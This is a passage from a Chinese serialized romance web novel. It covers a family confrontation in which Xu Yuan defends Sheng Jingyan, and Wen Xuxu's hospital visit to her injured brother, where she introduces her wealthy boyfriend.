她眼尾微微垂着,目光落在茶杯里晃动的茶汤上,那副从容的模样,仿佛此刻被讨论的“爱情”“家族联姻”“身份质疑”都与她无关。 她不理会傅京礼的咄咄逼人,不是因为怯懦,而是觉得这人自始至终都在被执念蒙蔽,说的话不过是无谓的挣扎,根本不值得她浪费心神去反驳。 她也不掺和盛景炎的反击,不是因为冷漠,而是因为她深知盛景炎的为人。 他从来不是任人拿捏的软柿子,那些掷地有声的话,每一句都是他对自己的珍视与守护,她只需安静地坐在他身边,便是对他最好的支持。这份从容,源于她对盛景炎的绝对信任,也源于她对自己选择的坚定。 她知道,这场风波里,盛景炎永远会站在她身前,而她,也会坚定地护着他。 反观许宁,却像一只被扔进暴风雪里的雏鸟,毫无千金小姐应有的风度与气度。 她缩在傅京礼身边,攥着他衣袖的手指早已泛白,指节因用力而颤抖,身体更是不受控制地微微发抖,像秋风里即将凋零的枯叶。她脸色苍白如纸,眼底满是不安与惶恐,偶尔抬眸看向盛景炎与许愿的方向,眼神里除了嫉妒,更多的是对谎言被揭穿的恐慌。 她害怕傅京礼会因为盛景炎的话动摇,更害怕老爷子会顺着盛景炎的质疑深挖自己的身份。 那副瑟瑟发抖的模样,哪里还有半分曾经在傅京礼面前故作的温婉,只剩一个随时会被风雨吹垮的小可怜,与许愿的从容形成了刺眼的对比。 许愿余光瞥见许宁的模样,心底只觉讽刺。 当年那个为了攀附傅家,不惜伪造身份、编造谎言的人,如今却装出一副柔弱可怜的样子,妄图用这份“楚楚动人”博取傅京礼的怜惜。可她清楚地知道,这份柔弱不过是表象,内里藏着的,是极致的算计与贪婪。 第1453章 只在乎盛景炎 她轻轻抿了一口温茶,滚烫的茶汤滑过喉咙,驱散了几分空气里的寒意,也让她心底的底气愈发坚定。 她不会让许宁的谎言得逞,更不会让盛景炎受半分委屈。 就在傅京礼与盛景炎的争执愈发激烈,老爷子的脸色愈发沉凝之时,许愿终于缓缓抬眸,目光平静地扫过在场的每一个人。她的声音不算高,却带着一种不容忽视的力量,瞬间穿透了厅内的喧嚣,让所有人的目光都聚焦在她身上。 “爷爷,”许愿开口,语气轻柔却带着不容置疑的坚定,“您对盛景炎不满,其实可以直接跟我说。”她微微侧身,指尖轻轻覆在盛景炎的手背上,指尖传来的温度让她眼底多了几分暖意,也让她的语气愈发坚定,“但当着他的面说这些,是不是不太妥当?” 她顿了顿,目光直视着老爷子,眼底没有半分畏惧,只有坦然与尊重:“他是我带来的,是我的人。您这样的态度,好像不是在针对他,而是在针对我了。”这句话说得不疾不徐,却像一颗投入湖心的石子,在众人心里激起层层涟漪。 她用“我的人”这样充满占有欲与守护意味的词,宣告了盛景炎在她心中的位置,也划清了界限。 盛景炎是她的底线,不容他人轻慢。 紧接着,许愿看向盛景炎,眼底的温柔与坚定愈发明显,那目光像冬日里的暖阳,驱散了他周身的寒意。 她缓缓开口,每一个字都清晰地落在众人耳中,带着一种决绝的承诺:“盛景炎再如何,都会是我未来的爱人。”她微微扬起下巴,语气带着几分傲然与坚定,像在宣告一个无法更改的事实,“他以后待我如何,那是我的事情了。就算未来真的出了事,那也是我自己识人不清。”她顿了顿,眼底闪过一丝决绝的锋芒,语气却依旧平静,“大不了鱼死网破,我跟他一个都别想活。” 这句话说得轻描淡写,却带着一种近乎偏执的坚定。 她愿意为盛景炎赌上一切,也愿意与他共担所有风雨。这份不顾一切的守护,让盛景炎心底一暖,指尖轻轻回扣她的手,眼底满是感动与坚定。 许愿收回目光,重新看向老爷子,语气依旧轻柔,却带着不容置疑的坚定:“但首先,我希望你们能尊重他。”她目光扫过傅京礼与许宁,眼底满是不容侵犯的锋芒,“至于许宁,不是我带来的,是傅京礼带来的。老爷子您什么态度,那都随意,只要您开心,这就跟我没关系了。”她刻意咬重“没关系”三个字,划清了界限。她不会插手傅京礼与许宁之间的事,也不会让老爷子的不满牵连到盛景炎,“但还请不要继续嘲讽盛景炎,我不爱听,也不喜欢听这些。你们说他,我是一定会维护的。”她语气里带着几分撒娇的意味,却又透着极致的坚定,像在说一件理所当然的事,“我不想我们彼此闹得不愉快,更不想有人伤害盛景炎。” 这话一出,厅内瞬间安静了几分。傅京礼脸色铁青,眼底满是难以置信。 他从未想过,许愿会对盛景炎如此维护,甚至不惜与老爷子对峙;许宁更是浑身一颤,眼底满是嫉妒与恐慌,她看着许愿与盛景炎交握的手,看着许愿眼底那份坦然与坚定,心底的不甘愈发强烈。 盛景炎看着许愿为自己挺身而出的模样,心底满是暖意,他反手握住她的手,指尖传来的温度像滚烫的岩浆,驱散了所有寒意。 他抬眸看向老爷子与傅京礼,语气带着几分傲然与笃定:“老爷子,傅京礼,你们听到了,阿愿会护着我,我也会护着阿愿。不管你们怎么说,我们都不会分开。”他目光扫过许宁,眼底满是不屑,“至于那些无谓的质疑,不过是你们的执念罢了,对我们来说,没有任何意义。” 许愿轻轻点头,重新看向老爷子,语气依旧轻柔,却带着一种不容置疑的坚定:“爷爷,我知道您是为了我好,怕我受委屈。但我不是小孩子了,知道自己想要什么,也清楚盛景炎是什么样的人。” 她微微扬起下巴,眼底满是自信与从容,“他或许有他的过往,但那些过往与我无关,我只看他的现在,看他为我做的每一件事,看他眼底的坚定与温柔。这就够了。” 她指尖轻轻摩挲着盛景炎的手背,眼底满是温柔:“我知道,您看重家族,看重门当户对,但对我来说,感情比那些虚名更重要。盛景炎能给我想要的爱,能护着我,这就够了。我不会让家族因为我而受委屈,更不会让盛景炎受委屈,这是我的底线。” 老爷子看着许愿眼底那份坚定的锋芒,看着她与盛景炎交握的手,心底满是复杂。 他从未想过,自己看重的这个女孩,会如此坚定地护着一个男人,甚至不惜与家族长辈对峙。他沉默了片刻,终于缓缓开口,语气里带着几分无奈与妥协:“阿愿,你真的想清楚了?盛景炎的身份,还有盛家的烂摊子,你都考虑过吗?” 许愿微微一笑,眼底满是笃定:“想清楚了,爷爷。身份与过往,不过是外物。盛景炎是什么样的人,我比谁都清楚。他会护着我,我会陪着他,那些烂摊子,我们一起解决。” 她目光扫过傅京礼与许宁,语气带着几分嘲讽,“至于别人怎么想,别人怎么说,那是他们的事。我只在乎盛景炎,只在乎我们之间的感情。” 盛景炎看着许愿,眼底满是感动与坚定,他轻轻捏了捏她的手,语气带着几分温柔的傲然:“老爷子,您放心,我会对阿愿好的。不管外面怎么说,不管遇到什么困难,我都不会让阿愿受委屈。许家是阿愿的家,傅家也是阿愿的亲人,我不会让阿愿因为跟我在一起,而失去任何东西。” 第1454章 完全配不上许愿 许愿看着盛景炎眼底的坚定,心底满是暖意,她轻轻靠在他肩上,语气带着几分撒娇的意味:“有你在,我什么都不怕。”这份坦然的依赖,让盛景炎心底愈发柔软,他抬手轻轻揽住她的肩膀,将她护在怀里,像在护着世间最珍贵的珍宝。 傅京礼看着许愿与盛景炎之间那份坦然的亲密与坚定,看着许愿眼底那份毫不掩饰的坚定与从容,心底的执念开始出现裂痕。 他想起自己与许宁之间的相处,想起许宁眼底的不安与算计,再看看此刻的许愿与盛景炎。 他突然意识到,自己或许真的错了,错把执念当成了爱情,错把算计当成了真心。 他看着许宁依旧紧紧攥着自己衣袖的手,心底满是烦躁与无奈,那份曾经的坚定,此刻竟变得摇摇欲坠。 许宁看着许愿与盛景炎的亲密,看着他们眼底那份毫不掩饰的坚定与爱意,心底的嫉妒与恐慌愈发浓烈。 她攥着傅京礼衣袖的手愈发用力,指甲几乎嵌进掌心,可傅京礼却只是低头看了她一眼,眼底满是复杂的情绪,没有了曾经的温柔与坚定。 老爷子看着四人的互动,看着许愿与盛景炎之间的那份坚定与从容,又看看傅京礼与许宁之间的僵硬与不安,心底满是无奈。 他知道,这场风波里,没有人是赢家,但许愿的坚定与从容,却让他不得不重新思考。 或许,真正的“合适”,从来都不是门当户对,而是彼此的坚定与守护。 大厅里的灯光依旧暖黄,却照出了这场对峙里最真实的模样。许愿的从容与坚定,盛景炎的锋芒与守护,傅京礼的动摇与无奈,许宁的嫉妒与恐慌,交织在一起,像一张密不透风的网,将所有人都裹在其中。 这场因执念、爱情与家族而起的冲突,此刻正走向一个无法逆转的转折点,而许愿的那句“我会护着他”,成了这场风波里最耀眼的锋芒,也让所有人看清了真正的爱情,从来都不是妥协与迁就,而是彼此的坚定与守护。 傅京礼想,许愿就这么喜欢盛景炎吗?他们才见过几次面。 傅京礼什么都不说,就盯着许愿看,眼神里都带着些许不可置信。 因为在他跟许愿的接触过程中,他不认为许愿是个没有脑子的人,怎么可能真的会因为盛景炎几句话就爱他爱到死去活来,甚至于盛景炎告白的手段那么庸俗可笑,完全配不上许愿。 …… 温栩栩的名字在热搜上挂了整整七天,从“综艺黑马”到“孤儿院出身的舞者”,话题热度居高不下。 可此刻,她没心思关注那些铺天盖地的讨论,踩着高跟鞋匆匆走进医院的住院部,脚步比平时快了几分。 弟弟温言刚从少管所出来,又被王世豪的人教训,现在正躺在病房里。 推开病房门时,消毒水的味道扑面而来。温言坐在轮椅上,被护士推到窗边,阳光落在他苍白的脸上,显得他愈发瘦弱。 他身上只穿着单薄的病号服,衣服空荡荡的,几乎贴在骨头上,两腮和眼窝都深深凹陷下去,像被抽干了所有力气。只有看到温栩栩的瞬间,那双原本黯淡无神的眼睛,才骤然亮了起来,像黑暗里突然点亮的星光。 “姐,你来了。”温言的声音很轻,带着几分虚弱,却努力扯出一个笑容,嘴角的弧度有些僵硬,却满是真诚。 温栩栩快步走过去,蹲在轮椅前,伸手轻轻摸了摸温言的脸颊。 指尖触到的皮肤冰凉,让她心底一阵发酸。 这孩子本就瘦弱,腿部还有旧伤,现在又被王世豪的人折腾成这样,浑身上下几乎只剩皮包骨,看着让人心疼得发紧。 “嗯,我来了。”温栩栩的声音带着几分克制的温柔,眼底却满是心疼,“怎么又瘦了?是不是医院的饭不好吃?” 温言摇摇头,伸手抓住温栩栩的手,指尖冰凉却带着几分温度:“不是,是我自己没好好吃饭。姐,你别担心,我养一阵子就好了。”他努力挺直脊背,想让自己看起来精神些,可腿部的疼痛让他忍不住微微皱眉。 温栩栩看着他强忍疼痛的模样,眼眶有些发热。 她知道,温言这次受的伤远比表面严重,腿部旧伤复发,医生说需要长时间的休养,甚至可能影响以后的行走。而这一切,都是因为王世豪的控制,当初王世豪为了逼温栩栩放弃出道,用温言的安危威胁她,现在又因为温栩栩在综艺上走红,变本加厉地报复温言。 “傻孩子,说什么养一阵子就好了。”温栩栩轻轻拍了拍温言的手背,语气带着几分责备,更多的却是心疼,“以后不管发生什么,都别再硬撑了,知道吗?有姐在,不会让你再受委屈。” 温言点点头,眼底满是信任:“我知道,姐。你放心,我不会再给王世豪机会了。”他顿了顿,目光转向病房里正在播放的电视,电视里正转播着温栩栩参加综艺的舞台内容,她穿着白色的舞裙,在舞台上旋转、跳跃,像一只振翅的蝴蝶,光芒万丈。 “姐,你真好看。”温言看着电视里的温栩栩,眼底满是骄傲,“我在电视上看到你了,你是里面最优秀的那一个,你以后一定会大火的。”他语气带着几分孩子气的坚定,仿佛已经看到了温栩栩站在聚光灯下的模样。 温栩栩看着温言眼底的星光,心底的酸涩被一股暖流取代,她忍不住弯了弯嘴角,带着几分小骄傲:“那是当然,我弟弟还是有点眼光的。” 温言又笑了起来,笑容比之前更灿烂了些。 他知道,温栩栩为了他,在孤儿院吃了多少苦,当初温栩栩明明有机会被更好的家庭领养,却因为舍不得他,选择留在孤儿院,一边照顾他,一边偷偷练习舞蹈。温栩栩本该有更光明的未来,却因为他的存在,被王世豪抓住了软肋,被迫妥协。 第1455章 逢场作戏 “姐,你别为我担心。”温言看着温栩栩,语气认真,“我会好好养身体,等我好了,就去给你当助理,帮你打理事情,不让你再那么辛苦。”他伸手轻轻碰了碰温栩栩的衣角,指尖带着几分依赖,“你放心,不管发生什么,我都会陪着你,支持你。” 温栩栩看着温言眼底的坚定,心底满是暖意。她知道,温言虽然瘦弱,性格里却带着一股韧劲,就像孤儿院墙角的野草,看似渺小,却能在风雨中顽强生长。这份依赖与信任,是她在这段艰难日子里,最珍贵的支撑。 “好,那姐等你。”温栩栩轻轻握住温言的手,指尖传来的温度,让两人都感受到了彼此的温暖。 病房里的阳光透过窗户洒进来,落在两人身上,像一层温柔的光晕。 电视里,温栩栩的舞台还在继续,而病房里,姐弟俩的对话还在继续。 “姐,你最近在剧组累不累?”温言看着温栩栩,眼底满是关切,“我看到新闻说你最近接了好几个戏,每天都要拍到很晚。” 温栩栩笑了笑,语气轻松:“不累,姐身体好着呢。再说了,拍戏能赚钱,等姐赚够了钱,就带你去看你一直想去的海边,好不好?” 温言眼睛一亮,脸上满是期待:“真的吗?姐,你说的是真的吗?我真的可以去看海边吗?” “当然是真的。”温栩栩看着温言兴奋的模样,心底满是心疼,“等姐把这部戏拍完,就带你去。到时候,我们住在海边的小旅馆里,每天早上看日出,晚上看日落,好不好?” 温言用力点头,眼底满是憧憬:“好!姐,我一定会好好养身体,不让你失望的。” 温栩栩看着温言,心底满是温柔:“傻孩子,你不用为了我逼自己。姐只希望你能健健康康的,别的都不重要。” 温言却摇摇头,语气坚定:“姐,我想为了你努力。你为了我吃了那么多苦,我不能一直让你为我担心。我要变得强大起来,这样以后就能保护你了。” 温栩栩看着温言眼底的坚定,心底满是暖意,眼眶却有些发热。她知道,温言虽然只是个孩子,却比任何人都懂事,都明白她的心意。这份心意,比任何礼物都珍贵。 “好,那我们一起努力。”温栩栩轻轻拍了拍温言的手背,语气带着几分温柔的坚定。 温言笑了笑,又看向电视里的舞台,语气带着几分崇拜:“姐,你跳舞的时候真好看,像仙女一样。我以前在孤儿院的时候,就经常看你偷偷练舞,那时候我就觉得,我姐是世界上最好看的人。” 温栩栩被温言的话逗笑了,眼底满是温柔:“你这孩子,什么时候学会说这些好听的话了?” 温言笑了笑,语气带着几分认真:“我说的是真的,姐。你跳舞的时候,眼里有光,那是我见过最好看的光。” 温栩栩看着温言眼底的星光,心底满是暖意。她知道,温言虽然瘦弱,却比任何人都懂得欣赏她的努力,比任何人都在乎她的梦想。这份在意,比任何赞美都更让她感动。 “谢谢你,温言。”温栩栩轻轻抱住温言,语气带着几分哽咽。 温言轻轻拍了拍温栩栩的背,语气带着几分安慰:“姐,你别难过,我没事的。只要能看到你跳舞,能看到你实现梦想,我就很开心了。” 温栩栩听着温言的话,心底满是暖意。她知道,这份没有血缘的羁绊,比任何血缘关系都更珍贵,更让她动容。 病房里的阳光依旧温暖,电视里的舞台还在继续,而姐弟俩的对话,像一束光,穿透了所有的阴霾,照亮了彼此的心房。 温栩栩指尖捏着温言削好的苹果,一片片递到他唇边,温言嚼着清甜的果肉,视线却始终落在姐姐脸上。 窗外暮色渐浓,病房顶灯洒下暖黄的光,将两人笼罩在一片静谧里。刚才他们聊了孤儿院的趣事,聊了温栩栩在剧组的日常,温言眼底的阴霾散了些,可当晚餐后温栩栩起身整理衣角,说要回节目组时,他唇线骤然抿成一条紧绷的直线。 “姐。”温言的声音带着不易察觉的颤抖,像被风吹皱的湖面,漾开细密的涟漪。他垂着眼,手指无意识地抠着轮椅扶手上的纹路,指节泛白,“我其实还有很多话想问你。” 温栩栩顿住动作,转头看向他。她太了解这个从小带大的弟弟,那双总是盛着星光的眼睛此刻垂着,睫毛在眼睑下投出浅淡的阴影,像藏着一整个世界的不安。她走回床边,轻轻握住温言的手,指尖触到的冰凉让她心口一紧:“怎么了?小言,有话就跟姐说。” 温言抬起头,眼底满是复杂的神色,有疑惑,有心疼,更有一丝难以言说的惶恐:“王双双一直嫉妒你,她不肯让你出道拍戏,对你各种刁难。可你现在不仅进了娱乐圈,还有这么多好资源,连黎煌娱乐都站出来护着你……”他顿了顿,喉结滚动了一下,声音低了些,“我知道,是有资本在护着你,对不对?” 温栩栩看着温言眼底的认真,没有回避。她轻轻点头,语气坦然:“对,是有资本在护着我。” 温言的心瞬间沉了下去,像坠进冰冷的深海。 他看着温栩栩眼底的平静,更觉得心口针扎一样密密麻麻地疼,他一直视作“小仙女”的姐姐,那个在孤儿院里抱着他、教他认字、陪他熬过无数个寒冷夜晚的姐姐,如今竟要被资本裹挟,被迫与那些人周旋。而他,这个断了双腿、只能坐在轮椅上的“废物”,非但帮不上姐姐,反而成了她的拖累,吸着她的血,让她不得不低头。 “都是因为我……”温言的声音带着哽咽,眼眶泛红,“如果没有我,姐姐你早就该有更光明的未来了,总不该……总不该跟那些资本逢场作戏……” 温栩栩心口一揪,她弯腰蹲在温言面前,双手捧住他的脸,迫使他看着自己。 第1456章 她真的喜欢黎云笙 温言眼底的自责和痛苦像刀子一样扎着她的心,她声音带着前所未有的温柔和坚定:“小言,别瞎想。不是因为资本,也不是因为王双双和王世豪,是我自己要踏入娱乐圈的,我有自己的梦想,我不想一辈子被他们欺负。” 她顿了顿,看着温言眼底的茫然,轻轻开口:“而且,小言,我有爱人了。” 这句话像一颗石子投进温言心里,瞬间激起千层浪。他整个人都懵了,眼睛瞪得大大的,满是茫然无措,像一只突然被丢进陌生森林的小兽,慌乱又害怕:“姐,那个人是谁?他对你好吗?” 温栩栩看着温言眼底的担忧,知道不能撒谎。 温言是她带大的“小狐狸”,心思细腻又敏感,任何虚假的安慰都只会让他更不安。她歪头笑了笑,语气带着几分俏皮,却满是真诚:“小言,不要总是把所有人都往你身上揽呀。我是因为他长得好看,又能护住我,才跟他在一起的,真的。” 她看着温言依旧紧绷的肩膀,继续说道:“我不是为了你,也不是为了躲避王家,是为我自己。王双双和王世豪怎么对我,你是知道的,我总要找个人做我的后盾,让我能不受伤害地踏入娱乐圈。巧的是,他样貌好,又有权有势,是我运气好,能跟他在一起。” 温言的心依旧悬着,他看着温栩栩眼底的坦然,又想起刚才姐姐说的那些资源,能让墨澜担任男主角捧她这个新人,能让黎煌娱乐不遗余力地护着她,这背后资本的分量,他再清楚不过。 在帝城,能在黎家说一不二,能眼也不眨拿出这么多资源捧一个新人的,只有那位出了名的阴晴不定、手段阴毒的黎少黎云笙。 “黎云笙……”温言的声音带着一丝颤抖,眼底满是担忧和抗拒,“姐,你怎么能……他那个人,手段狠辣,性格阴晴不定,你跟他在一起,会受委屈的!你该嫁给这世界上最优秀、最温柔的人,怎么能……” 温栩栩看着温言眼底的急切,知道弟弟是真心为自己担心。她轻轻拍了拍温言的手背,语气带着安抚:“小言,别担心。我跟他在一起,不是为了受委屈的。你看,我跟他在一起后,就一炮而红拍了《灵媒》,他还为我准备了演员综艺和其他剧本,他对我真的很好,会护着我,不会让我受欺负的。” 她将黎云笙给的那些资源一一说给温言听,从《灵媒》的男主角配置,到演员综艺的邀约,再到后续的剧本安排,每一件都带着沉甸甸的分量:“你看,这些资源不是随便谁都能拿到的。他愿意把这些给我,就是真心想护着我。我跟他在一起,不是妥协,是我自己的选择,是我为自己争取的最好的路。” 温言听着温栩栩的话,眼底的慌乱渐渐被一丝复杂的情绪取代。他看着姐姐眼底的坚定和坦然,不像被逼迫的样子,反而带着一种掌控自己人生的笃定。可一想到黎云笙的名声,他又忍不住担忧:“姐,可他……他真的不会欺负你吗?你要是受了委屈,一定要告诉我,我……我哪怕是个废物,也会想办法帮你……” 温栩栩眼眶一热,轻轻抱住温言,声音带着哽咽:“傻孩子,你不是废物。你永远都是我最骄傲的弟弟。而且,我跟他在一起,不会受委屈的。我会保护好自己,也会护着你,好不好?” 温言靠在温栩栩怀里,听着姐姐沉稳的心跳,心底的不安渐渐散了些。他知道,姐姐从来都不是会委屈自己的人,她既然说出了口,就一定有自己的考量。可一想到黎云笙,他依旧忍不住担忧,只能紧紧抱住温栩栩,像小时候那样,用自己单薄的力气,给姐姐一点温暖。 “姐,那你一定要小心,要是他敢欺负你,我……我哪怕拼了这条命,也不会放过他。”温言的声音带着哽咽,却满是决绝。 温栩栩轻轻拍着温言的背,眼底满是温柔和坚定:“好,姐答应你。我会小心的,也会让你看到,我温栩栩,不是任何人的附属品,我会靠着自己,也靠着他的帮助,站上最高的舞台。到时候,你就在台下,看着我,好不好?” 温言抬起头,看着温栩栩眼底的星光,那光芒比任何时候都更亮,更坚定。他慢慢点了点头,眼底重新有了光:“好,姐,我等你。我会好好养身体,等你站上舞台的那天,我一定会在台下,看着你发光。” 暮色渐浓,病房里的灯光依旧温暖。温栩栩看着温言眼底的担忧渐渐被信任取代,心底满是暖意。 她知道,弟弟的担忧不会立刻消散,但她会用行动证明,自己的选择没有错,她会和黎云笙一起,打破所有困境,让温言看到,她不仅不会被欺负,还会活得比任何人都好。 她站起身,轻轻捏了捏温言的脸颊:“好了,小言,姐要回节目组了。你好好休息,等我有空再来看你。” 温言看着温栩栩,用力点头:“姐,你路上小心。” 温栩栩转身离开,走到门口时,又回头笑了笑:“小言,别再胡思乱想了,好好养身体,等我回来。” 温言看着温栩栩的背影消失在门口,眼底满是担忧和坚定。他知道,姐姐的路不会好走,但他会努力养好身体,成为姐姐的后盾,哪怕只能在背后,也会用自己的方式,护着姐姐,让她不被任何人欺负。 病房的门轻轻关上,暮色彻底笼罩了房间。温言看着窗外的夜空,星光点点,像姐姐眼底的光。 他握紧了拳头,眼底满是决绝。 他不能再这样下去了,他要变得强大,强大到能站在姐姐身边,和她一起面对所有的风雨。 而此刻的温栩栩,走在回节目组的路上,夜风拂过她的发梢,她眼底满是坚定。 她知道,和黎云笙的契约是她现在最好的选择,她会护住自己,也会护住温言,让那些曾经欺负他们的人,再也无法伤害他们。 当然,另一部分原因……则是她真的喜欢黎云笙。 第1457章 得了便宜还卖乖? 医院的长廊像一条静谧的河,冷白色的灯光均匀铺洒,将消毒水的气息都晕染得不那么刺鼻。 黎昀笙靠坐在窗边的金属椅上,膝盖上摊着一份深蓝色封皮的文件,指尖偶尔划过纸页边缘。 他身着一套炭灰色高定西装,肩线如刀裁般利落,勾勒出挺拔的身形,袖口露出的铂金腕表折射着冷冽的光,与周围略显朴素的环境形成鲜明对比,却丝毫没有突兀感,仿佛他本就是该站在聚光灯下的存在,此刻却为了等待,甘愿融入这方略显清冷的空间。 半小时的等待里,他抬眼望过无数次病房门,眉宇间没有半分不耐,只有一丝藏在眼底的浅淡担忧。 温栩栩进去时,他分明看见她眼底藏着的疲惫,而那个叫温言的弟弟,总让他莫名多了几分在意,毕竟,那是温栩栩放在心尖上护着的人。 门开的“吱呀”声划破长廊的寂静,黎昀笙立刻合上文件,抬眼望去。温栩栩的身影出现在门口,脸色比刚才在病房里时更显苍白,像是被抽走了几分血色,可眼底却透着一种卸下重担后的轻松,像刚从一场漫长的跋涉中归来,终于能喘口气。她穿着一件浅米色针织衫,柔软的布料贴合着身形,下摆掖进高腰牛仔裤里,衬得腰线纤细得让人想伸手护着,发丝被走廊的风轻轻撩起,带着几分未经雕琢的温柔。 “等很久了?”温栩栩快步走过去,声音比平时低了些,带着刚与温言谈心后的柔和,像春日里融化的溪水。 黎昀笙站起身,将文件夹递给身后的助理,目光牢牢锁在她脸上,带着毫不掩饰的关切:“还好,刚看完文件。”他上前一步,伸手轻轻碰了碰她的脸颊,指尖的温度带着暖意,“出什么事了?你弟弟说什么话让你不开心了?跟我说说。” 温栩栩笑了笑,轻轻摇头,指尖卷着针织衫的下摆,带着几分狡黠的可爱:“不是不开心,就是温言觉得你……”她顿了顿,眼底闪过一丝促狭,故意拉长了语调,“不好相处,说你心狠手辣、性情凉薄、阴晴不定,说跟我在一起迟早要被欺负吃亏的。” 这话一出,黎昀笙几乎要被气笑。 他向来不是会轻易解释的人,可此刻面对温栩栩,却忍不住反驳,语气里带着几分无奈的宠溺:“我欺负你了?” 他凑近一步,伸手拽住她的手腕,力道不重,带着几分亲昵的强硬,将她拉得离自己更近了些,“温栩栩,你讲讲道理,我们两个人之间,到底是谁在欺负谁?你颠倒黑白就算了,怎么你这个弟弟也颠倒黑白?” 温栩栩被他拽得往前一倾,抬眼看他时,眼底满是可怜又委屈的神情,像只被抢了小鱼干的猫,分明是装出来的,却偏偏让人不忍苛责。 她太清楚黎昀笙吃这套,故意用这副模样化解尴尬。 黎昀笙看着她这副模样,心里的气又消了几分,却依旧不肯轻易放过她,凑近了些,压低声音问,声音里带着几分危险的沙哑:“我阴晴不定?” 温栩栩想都不想,直接点头,眼神亮晶晶的,带着故意的促狭,像在逗弄一只易怒的狮子:“那确实阴晴不定,指不定什么时候看着挺开心,下一秒就生气了,来一场狂风暴雨呢。” 黎昀笙又要被她气笑,指尖轻轻捏了捏她的手腕,语气带着几分无奈的纵容:“温栩栩,你这是得了便宜还卖乖?” 温栩栩却顺势靠得更近了些,脑袋轻轻抵在他肩侧,声音软下来,带着几分撒娇的意味:“别生气嘛,温言就是担心我出事,毕竟我们两个家室差太多了,情有可原嘛。”她抬眼看他,眼底的星光像是落在了黎昀笙心里,软得他心头一动。 黎昀笙揉捏着她手腕的动作没停,半晌才“嗯”了一声,语气带着几分认真,眼底闪过一丝傲气:“我去见见他。” 温栩栩怔了一下,下意识地拉住他的手,指尖带着几分凉意:“你见他干什么?” 黎昀笙哼笑一声,眼底满是坚定,像是在承诺一件重要的事:“让他知道,我不是他嘴里那种不靠谱的人。” 温栩栩看着他眼底的认真,又想起温言刚才的担忧,忍不住小声嘀咕:“你去见他,说不定他只会更担心的吧。” 黎昀笙挑眉,语气带着几分不满,却没生气:“你说什么?大点声音。” 温栩栩撇了撇嘴,摇摇头,眼底满是笑意:“没什么。” 黎昀笙没再追问,转头对助理吩咐,语气恢复了平日的沉稳:“把准备的补品和水果拿过来。”助理立刻将两个精致的礼盒递过来,里面是上好的燕窝、阿胶,还有新鲜的进口水果,礼盒的包装低调奢华,带着恰到好处的贵重,既不显得刻意讨好,又透着周全的体贴。 黎昀笙做事,向来如此,哪怕是为了“讨好”温言,也丝毫没有敷衍,每一步都带着分寸感。 温栩栩看着那两个礼盒,眼底多了几分笑意,觉得黎昀笙其实还挺贴心的。 两人一起走向病房,长廊里,两人的身影并肩而行,黎昀笙身姿挺拔,步伐稳健,带着上位者的从容与气场,每一步都像是踩在节奏上,温栩栩则小巧些,步伐轻快,偶尔会偏头跟黎昀笙说话,眼底带着笑意,发丝随着步伐轻轻晃动。 一高一矮,一冷一暖,明明气质截然不同,却莫名地般配。 像是寒冬里的暖阳与雪地,暖阳融化着雪地的冰冷,雪地衬得暖阳更显珍贵,又像是夜空里的明月与繁星,明月清冷皎洁,繁星闪烁温柔,彼此映衬,又彼此包容,仿佛本就该在一起,才显得这画面如此圆满。 病房门被轻轻推开,温言正坐在轮椅上,低头看着复习资料,眉头微微蹙着,显然是在思考一道难题。 听到门开的声音,他以为是医生来查房,头也没抬,随口说了句:“医生,我恢复得还行,不用太频繁查房。” 第1458章 她是你的姐姐也是我的爱人 等温言抬头,却对上黎昀笙高大的身影,明显愣了一下,眼底满是惊讶,随即转为警惕。 这就是姐姐说的那个“爱人”?比他想象中还要难缠,身上带着一种与生俱来的压迫感,一看就是不好惹的人,像一头蛰伏的猛兽,随时可能露出尖牙。 黎昀笙看着温言眼底的警惕,没有丝毫介意,反而走上前,将手里的礼盒放在病床旁的柜子上,语气带着几分难得的温和,刻意放轻了声音,以免吓到这个敏感的少年:“我是黎昀笙,栩栩的爱人。听她说你身体还没养好,这些补品和水果,是给你的,补补身子。” 温言看着那两个精致的礼盒,又看了看黎昀笙眼底的温和,心里的警惕却没减半分。 他听说过黎昀笙的名声。 帝城黎家的继承人,手段狠辣,阴晴不定,这样的人,真的会真心对姐姐好吗? 他抿了抿唇,语气依旧冷淡:“谢谢。”他没有伸手去碰那些礼盒,只是看着黎昀笙,眼底带着几分审视,“黎少,我知道你有权有势,但我希望你能对姐姐好一点,她值得更好的人。” 黎昀笙看着温言眼底的认真,知道这个弟弟是在为温栩栩着想。 他没有生气,反而点了点头,语气认真得像在宣誓:“我知道她值得更好的人,所以,我会做那个更好的人。我会护着她,不会让她受欺负,也不会让你再因为她的事受委屈。” 温言看着黎昀笙眼底的认真,心里的警惕渐渐散了些。他看着姐姐站在黎昀笙身边,眼底带着一种安心的笑意,像找到了避风的港湾,忽然觉得,或许这个黎昀笙,真的不一样。 温栩栩看着两人之间的气氛渐渐缓和,眼底满是笑意。她走到温言身边,轻轻拍了拍他的手背,指尖带着暖意:“小言,你看,我就说他对我很好吧。” 温言看着温栩栩眼底的笑意,又看了看黎昀笙眼底的坚定,心里的担忧渐渐散了些。 他轻轻点了点头,语气缓和了些,却依旧带着几分警告:“那……黎少,你要是敢欺负我姐姐,我不会放过你的。” 病房里静得能听见呼吸声,温言愣在轮椅上,眼底满是震惊与茫然。 他看着黎昀笙,又看了看温栩栩,嘴唇动了动,却没发出声音。 温栩栩察觉到弟弟的失态,轻轻握住他的手,声音带着安抚的温柔:“小言,这就是我想让你见的黎昀笙。” 黎昀笙向前走了一步,站在温言面前,身形高大,却刻意放低了姿态,语气带着几分从容的温和:“叫姐夫就可以。” 温言直觉眼前一黑,仿佛听错了什么惊天动地的话。 姐夫?怎么就突然变成姐夫了? 他眨了眨眼,像是要把这突如其来的信息消化干净,声音带着难以置信的沙哑:“姐夫?” 黎昀笙看着他眼底的震惊,眼底闪过一丝笑意,语气依旧从容:“迟早的事。” 温言猛地抬起头,眼底的警惕重新燃起,他盯着黎昀笙,像是要把他看穿:“你的家室好,我姐姐无父无母,还有我这么个没用的废物弟弟,你真的能接受这一切吗?我要听实话,我想知道你到底怎么想的。”他攥紧了轮椅的扶手,指节泛白,像是在为温栩栩争取一份保障,哪怕面对的是权势滔天的黎昀笙,也丝毫没有退缩。 黎昀笙看着温言眼底的倔强,眼底多了几分欣赏。 他没有回避温言的问题,反而蹲下身,与温言保持平视,眼神认真得像在许下一个承诺:“我喜欢温栩栩,不是因为她的资源,不是因为她的身份,而是因为她这个人。她倔强、勇敢,为了护着你,可以豁出一切,这种纯粹的坚韧,让我动心。” 他顿了顿,目光转向温栩栩,眼底的温柔像是化不开的暖阳,“我在意她,会护着她,让她不用再为了任何事委屈自己。至于你,” 